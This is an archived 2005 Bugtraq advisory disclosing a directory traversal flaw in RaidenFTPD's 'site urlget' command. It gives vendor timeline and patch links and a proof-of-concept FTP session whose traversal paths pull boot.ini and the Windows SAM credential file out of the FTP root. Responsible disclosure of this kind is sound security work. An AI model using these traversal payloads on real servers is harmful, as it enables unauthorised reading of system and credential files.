lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 2 May 2005 06:48:36 -0700 (PDT)
From: "Lachlan. H" <pseudonym_ok@...oo.com>
To: bugtraq@...urityfocus.com, vuln@...unia.com
Subject: Directory Traversal Vuln - RaidenFTPD 2.4 < Build 2241


Product : RaidenFTPD   

Affected Versions : < 2.4.2241

***

Author: Lachlan. H

Date vendor notified: 	19/04/2005

Patch released: 	20/04/2005

Disclosure:		02/05/2005


***

Product Description:

RaidenFTPD is an easy-to-use ftp server software for
Windows´┐Ż. With this handy tool you can share your
files with friends, provide file download services to
customers or even setup your own private network file
server. Not only are all the basic FTP server features
built-in; it also features various advanced features
such as SSL/TLS, UTF8, UPnP NAT traversal and more ..

***

Problem: 

Directory Traversal - Failure to validate input for
the site command 'urlget'. 

Using urlget it's possible for a normal user to escape
ftproot and download known files from restricted
directories.

The JohnLong Team acted promptly to resolve the issue.

***

Fix:

http://www.raidenftpd.com/en/

FULL :
http://www.raidenmaild.com/download/raidenftpd2.exe
UPDATE :
http://www.raidenmaild.com/download/update.exe

***

PoC:

230 User ****** logged in.
 ftp> quote site urlget file://\..\\boot.ini
550 site urlget failed : hacking attempt , you have
been logged.
ftp> quote site urlget file:/..\\boot.ini
220 site urlget : downloading
file:/..\\boot.ini->boot.ini
ftp> ls
200 Port command ok.
150 Opening ASCII data connection for ls /.
boot.ini
226-free disk space under this directory : 28919 mb
226 Transfer finished successfully. 
Data connection closed .
ftp: 10 bytes received in 0.00 Seconds
10000.00Kbytes/sec.
ftp> quote site urlget file:/..\\winnt/repair/sam
220 site urlget : downloading
file:/..\\winnt/repair/sam->sam
ftp> ls
200 Port command ok.
150 Opening ASCII data connection for ls /.
boot.ini
sam
226-free disk space under this directory : 28919mb
226 Transfer finished successfully. 
Data connection closed .
ftp: 15 bytes received in 0.00Seconds
15000.00Kbytes/sec.
ftp>

***


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


Powered by blists - more mailing lists